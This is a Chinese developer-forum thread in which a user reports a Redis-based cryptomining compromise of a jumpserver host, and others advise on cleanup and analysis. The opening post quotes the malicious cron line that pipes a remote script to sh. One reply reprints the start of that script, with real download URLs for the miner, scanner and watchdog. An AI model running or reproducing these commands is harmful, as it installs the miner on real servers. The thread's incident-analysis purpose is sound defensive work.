V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
xiaotianhu
V2EX  ›  程序员

服务器被马了,求帮忙

  •  
  •   xiaotianhu · 2019-06-21 09:43:42 +08:00 · 9056 次点击
    这是一个创建于 1765 天前的主题,其中的信息可能已经有所发展或是发生改变。

    公司用了个 jumpserver 做跳板机,之前运维同学弄的 版本 Version 1.3.2-2

    今天发现连不上了.

    进去发现 redis 出了问题.redis 是本地启动的,监听内网端口 排查发现 rdb 文件写入没权限,写入目录 /etc/cron.d 这...肯定不对啊.发现写入了一个文件:

    文件内容 */1 * * * * curl -fsSL http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/init.sh |sh

    被马无疑了.但是写入报了权限问题?这个文件怎么还写入成功了.

    现在想研究一下这个马,然后对服务器得全处理一下了.头疼. 这个马怎么解 shell 玩的不好,求帮忙

    49 条回复    2019-06-23 02:36:06 +08:00
    firebroo
        1
    firebroo  
       2019-06-21 09:59:01 +08:00
    排除对方拿了权限之后是否改你 redis 启动权限,监听地址,不是的话,大概不是从 redis 进来的。
    catcalse
        2
    catcalse  
       2019-06-21 10:02:07 +08:00
    中了挖矿病毒。。默哀。。
    shooter556
        3
    shooter556  
       2019-06-21 10:05:29 +08:00
    先杀进程
    删除相关文件
    删除 crontab

    监控网络连接异常

    手不够快有可能需要写脚本,有些进程会 respawn 的
    shooter556
        4
    shooter556  
       2019-06-21 10:06:44 +08:00
    想研究的话,不用删除,放到某个地方就行了
    houzhimeng
        5
    houzhimeng  
       2019-06-21 10:08:55 +08:00
    挖矿,数据都在 tmp 下了,服务器上应该有 shell 脚本
    xiaotianhu
        6
    xiaotianhu  
    OP
       2019-06-21 10:20:02 +08:00
    @firebroo 那不至于用 redis 写文件来执行啊. 我怀疑是从 jumpserver 给 redis 执行命令.
    xiaotianhu
        7
    xiaotianhu  
    OP
       2019-06-21 10:20:36 +08:00
    @shooter556 docker 安全么.隔离性够用的吧
    defunct9
        8
    defunct9  
       2019-06-21 10:27:34 +08:00   ❤️ 15
    开 ssh,让我上去看看
    lvzhiqiang
        9
    lvzhiqiang  
       2019-06-21 10:35:51 +08:00
    那个定时任务归属那个用户的? -- 还有,重装系统吧,你不知道系统那个角落还 藏有挂马脚本。
    1ffree
        10
    1ffree  
       2019-06-21 10:40:47 +08:00
    上次中招, 就把机器改成 ssh 密钥登陆了, 再没发生过
    zarte
        11
    zarte  
       2019-06-21 10:47:07 +08:00   ❤️ 2
    @Livid
    已经不止一次看到#8 defunct9 回复这句话了
    gaius
        12
    gaius  
       2019-06-21 10:53:57 +08:00
    查下进程,可能还有进程会自动下载脚本跑
    xiaotianhu
        13
    xiaotianhu  
    OP
       2019-06-21 11:06:03 +08:00
    搞定了,应该是没执行成功.虚惊了
    muchengxue
        14
    muchengxue  
       2019-06-21 11:12:33 +08:00
    挖矿的,利用了 redis 写文件的特性,你 redis 没设置密码吧
    cominghome
        15
    cominghome  
       2019-06-21 11:14:09 +08:00
    你们的跳板机居然可以从外网访问到,心也太大了吧
    Livid
        16
    Livid  
    MOD
       2019-06-21 11:37:59 +08:00
    @zarte 谢谢举报。那个账号会被彻底 ban。
    caryqy
        17
    caryqy  
       2019-06-21 11:47:35 +08:00   ❤️ 4
    @zarte 人家 8 楼之前是有真正给提问的上去解决问题的,既然 8 楼写出来了为什么不能认为人家是想给 lz 提供解决办法呢
    @Livid
    Removable
        18
    Removable  
       2019-06-21 11:51:38 +08:00
    @Livid #15 站长再仔细调查一下吧,那个老哥我觉得应该是真的想帮忙的
    Livid
        19
    Livid  
    MOD
       2019-06-21 12:01:05 +08:00   ❤️ 1
    @caryqy
    @Removable

    我看了那个账号的回复记录,“开 ssh,我上去看看”他以前用同样的方式回复过很多次。

    你会把你们公司的服务器的 ssh 开给不认识的人吗?会有任何公司允许这种事情发生吗?

    因此这种毫无意义的回复,只是在灌水而已。当灌水灌成套路的时候,这样的账号会被处理。
    kangmang92
        20
    kangmang92  
       2019-06-21 13:22:07 +08:00
    @xiaotianhu 如何搞定的 详细说说 我的 docker 跑的 redis 也发现了 这个 多谢
    version
        21
    version  
       2019-06-21 13:51:11 +08:00 via iPhone
    应该是你服务器主机没有屏蔽 6379 端口,我之前测试服务器也是试过,平时正常是 127 本机监控,后来业务开内网监听就出事了,后来发现安全组没有开屏蔽 6379,以前研究过,还找到了挖矿账号,查到不少余额,不过也只能重新安装了,一般服务器开防火墙应该没问题,攻击来源也没猜到,其它人也用,评定不了
    oneisall8955
        22
    oneisall8955  
       2019-06-21 13:58:34 +08:00 via Android
    早就遇到过了 redis 的端口和配置问题,
    1 没密码
    2 端口太普通
    3 默认配置有那个写本地的权限
    解决方案,指标+治本
    1,按照网上重新配置密码端口和去掉权限
    2,kill 掉进程
    3,删除公钥中不是你的密钥
    4,删除 crontab 里面的定时任务
    lepig
        23
    lepig  
       2019-06-21 14:08:46 +08:00
    楼主可以参考下 这个帖子

    https://www.v2ex.com/t/537457#reply106
    lepig
        24
    lepig  
       2019-06-21 14:09:59 +08:00
    提供一个清理脚本,仅供参考。我在自己的个人服务器上执行过
    https://coding.net/u/omg/p/AA/git/blob/master/%E6%B8%85%E7%90%86%E8%84%9A%E6%9C%AC.sh


    不过,如果可以 还是建议重装一次系统
    linnil
        25
    linnil  
       2019-06-21 14:13:33 +08:00
    能 ps 出那个进程么? vi 删掉定时任务之后会立刻重新恢复么?/proc 下有对应进程 ID 的文件夹么?
    如果上面的回答都是 no,那么准备好迁移的数据,重装系统吧。如果不是,参考前面给的建议。
    对付`rootkit`难度爆表。
    liuyi_beta
        26
    liuyi_beta  
       2019-06-21 14:58:17 +08:00
    把脚本里的 eval 改成 echo,在 shell 里执行,看解密出来的那一串字符,然后 rev,就是一串 base64,然后解码就能看到具体的脚本执行内容了,就是挖矿脚本
    pyengwoei
        27
    pyengwoei  
       2019-06-21 15:25:32 +08:00
    @Livid 能看看 我帐户被 BAN 了吗 /(ㄒoㄒ)/~~ 发帖子感觉都没人看见了
    viruser
        28
    viruser  
       2019-06-21 15:43:28 +08:00
    还是 ddg 挖矿木马,可能内网机子由于其他原因感染了木马,然后木马爆破出 redis 密码进行了横向扩散。新木马和之前的相比,新木马尝试使用 drupal, Elasticsearch, Hadoop, redis, spring, sqlserver, ssh, thinkphp, weblogic 等服务的配置失误 /漏洞进行 RCE... ![Annotation 2019-06-21 153649.png]( https://i.loli.net/2019/06/21/5d0c892adfa7978592.png)
    dunhanson
        29
    dunhanson  
       2019-06-21 15:49:24 +08:00   ❤️ 2
    @Livid

    具体到这个问题
    10 个人装 linux,就有 10 种不同的 linux
    所以不上机器,就猜火车,我觉得远不如上去看看到底是怎么回事有用
    redis 的漏洞我见过两种,所以懒得猜,看具体情况再分析

    版主的言论和脑回路真是不敢苟同

    每个人可以选择相信别人,也可以选择不信
    物以类聚,人以群分嘛

    至少我在 v2 的时候帮人解决了不少问题,交易也都先付款,感觉还颇不错
    很有诚信的一个论坛

    找了几贴(被封了还翻贴真累撒):
    https://v2ex.com/t/530877#reply19
    https://www.v2ex.com/t/534100#reply29
    https://v2ex.com/t/530578#reply54
    再靠前的就懒得翻了

    感觉版主跟 abmin521 是同一类人

    封了就封了吧,最近 V2 也怪怪的,似乎大家也很争议。
    dunhanson
        30
    dunhanson  
       2019-06-21 15:50:46 +08:00   ❤️ 2
    @Livid 被封的老哥,之前帮我解决过 K8S 的问题,代回复一下
    Livid
        31
    Livid  
    MOD
       2019-06-21 15:52:55 +08:00
    @dunhanson 谢谢你。我看了那些帖子。这件事情上是我错了。已将 @defunct9 的账号恢复:对不起,是我的错。
    defunct9
        32
    defunct9  
       2019-06-21 16:04:08 +08:00   ❤️ 2
    从小黑屋里放出来啦。

    @dunhanson 多谢啦
    @Livid 我也收回自己的言论,抱歉。
    zhouwei520
        33
    zhouwei520  
       2019-06-21 16:26:19 +08:00   ❤️ 3
    @defunct9 @dunhanson 好暖 \(^o^)/~
    Allenqjy
        34
    Allenqjy  
       2019-06-21 16:29:55 +08:00
    @defunct9 加油!
    firebroo
        35
    firebroo  
       2019-06-21 17:09:46 +08:00
    太长了,复制不出来,你找个虚拟机 sh -x xx.sh 就行
    #!/bin/sh
    setenforce 0 2>dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    sync && echo 3 >/proc/sys/vm/drop_caches
    crondir='/var/spool/cron/'"$USER"
    cont=`cat ${crondir}`
    ssht=`cat /root/.ssh/authorized_keys`
    echo 1 > /etc/sysupdates
    rtdir="/etc/sysupdates"
    bbdir="/usr/bin/curl"
    bbdira="/usr/bin/url"
    ccdir="/usr/bin/wget"
    ccdira="/usr/bin/get"
    mv /usr/bin/wget /usr/bin/get
    mv /usr/bin/curl /usr/bin/url
    miner_url="https://pixeldrain.com/api/file/qfCJh56W"
    miner_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysupdate"
    miner_size="854364"
    sh_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh"
    sh_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh"
    config_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json"
    config_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json"
    config_size="3300"
    scan_url="https://pixeldrain.com/api/file/GXot-j_7"
    scan_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/networkservice"
    scan_size="2345296"
    watchdog_url="https://pixeldrain.com/api/file/9aWNKUNO"
    watchdog_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysguard"
    watchdog_size="1587024"
    abcdocker
        36
    abcdocker  
       2019-06-21 17:12:53 +08:00
    学习我的博客,研究一下运维如何快速购买机票跑路
    i4t.com
    dif
        37
    dif  
       2019-06-21 17:34:07 +08:00
    我也遇到过,加了个密码就解决了。
    docker run -d --name redis-server -p 6379:6379 redis --requirepass "用 1password 生成的密码"就行了。
    mink
        38
    mink  
       2019-06-21 17:40:45 +08:00
    我也遇到过,在腾讯云使用 docker redis 镜像的时候发现有挖矿脚本。 怕服务器里面还有脚本就重装了, 然后 redis 下载了官方的没有用 docker, 怀疑是 docker 中 redis 镜像已经中招了。
    imlz
        39
    imlz  
       2019-06-21 18:33:02 +08:00
    @xiaotianhu 你好,我是 jumpserver 的代码贡献者之一,你说的问题我们能否私聊一下? [email protected]
    akira
        40
    akira  
       2019-06-21 19:45:58 +08:00
    重新搭建一套服务器环境吧,原环境应该都是不可靠的了
    kzfile
        41
    kzfile  
       2019-06-21 20:12:59 +08:00
    我用的 windows server 跑的 redis,狂毒写入了脚本,但是跑不动 :doge
    rootliang
        42
    rootliang  
       2019-06-21 20:26:03 +08:00
    @defunct9 #32 我还以为 SSH 老哥被封了心里一紧,还好放出来了:doge:
    onepunch
        43
    onepunch  
       2019-06-21 22:46:06 +08:00
    之前服务器也出现过挖矿病毒,会有一个叫 http 的进程, cpu 直接 100% ;仔细看看进程有没有问题吧
    qwqVictor
        44
    qwqVictor  
       2019-06-22 14:37:30 +08:00
    闲的没事在 Docker 里执行了一下,用 bash -x 还原了执行过程,然后抓出来三个 binary,楼主拿着它研究一下,最近没啥时间不然我也研究一下。
    三个 binary、原脚本和执行过程的输出都打包了: https://cloud.qwq.ren/s/cmcjRJSGXdTmr6f
    另外扫了下这个马下载服务器的端口,发现它挺空的,估计是专用来下载马的。这个 IP 的 AS 号为 AS134520,属于 TechAvenue 公司,估计是 GigsGigsCloud 的机子 (我自己的转发机也是 GigsGigsCloud 所以很熟 233333)。你可以尝试联系服务商举报这个机子滥用来报复他一下 233333
    qwqVictor
        45
    qwqVictor  
       2019-06-22 14:45:14 +08:00
    sysupdate 似乎就是挖门罗币的 xmrig
    xiaotianhu
        46
    xiaotianhu  
    OP
       2019-06-22 22:53:26 +08:00
    @kangmang92 我的 redis 因为没有 root 权限,所以他没执行成功 失败了.

    你用关键词 redis 挖矿 去谷歌 ,有很多案例 写的很详细,如何处理.可以参考.
    xiaotianhu
        47
    xiaotianhu  
    OP
       2019-06-22 22:54:26 +08:00
    @liuyi_beta 是这样,我也用这个方法分析了一下,感谢.
    xiaotianhu
        48
    xiaotianhu  
    OP
       2019-06-22 22:59:09 +08:00
    @imlz 应该是 redis 的问题.跟 jumpserver 不知道关系大不大

    但是我 redis 监听是内网端口,无密码.机器在阿里云 vpc 内,我理解的外面的人应该是无法访问我 vpc 内网的 redis 啊,只有 jumpserver 的 web 和 ssh 有外网权限.ssh 有问题阿里云会提醒,但是并没有 ssh 相关报警.

    所以怀疑是 jumpserver.这机器上没有其他的业务用了 redis,但是有在跑一个 zabbix 的 client
    realpg
        49
    realpg  
       2019-06-23 02:36:06 +08:00
    @xiaotianhu #46
    挖矿需要啥 root 权限……
    而且都成功写入 cron 了……
    没执行大概是你的 cron 服务有问题

    基本上这类挖矿的都不要权限,甚至大量 nobody 执行的(多见与垃圾 PHP 代码被注出来的)
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2771 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 14:51 · PVG 22:51 · LAX 07:51 · JFK 10:51
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.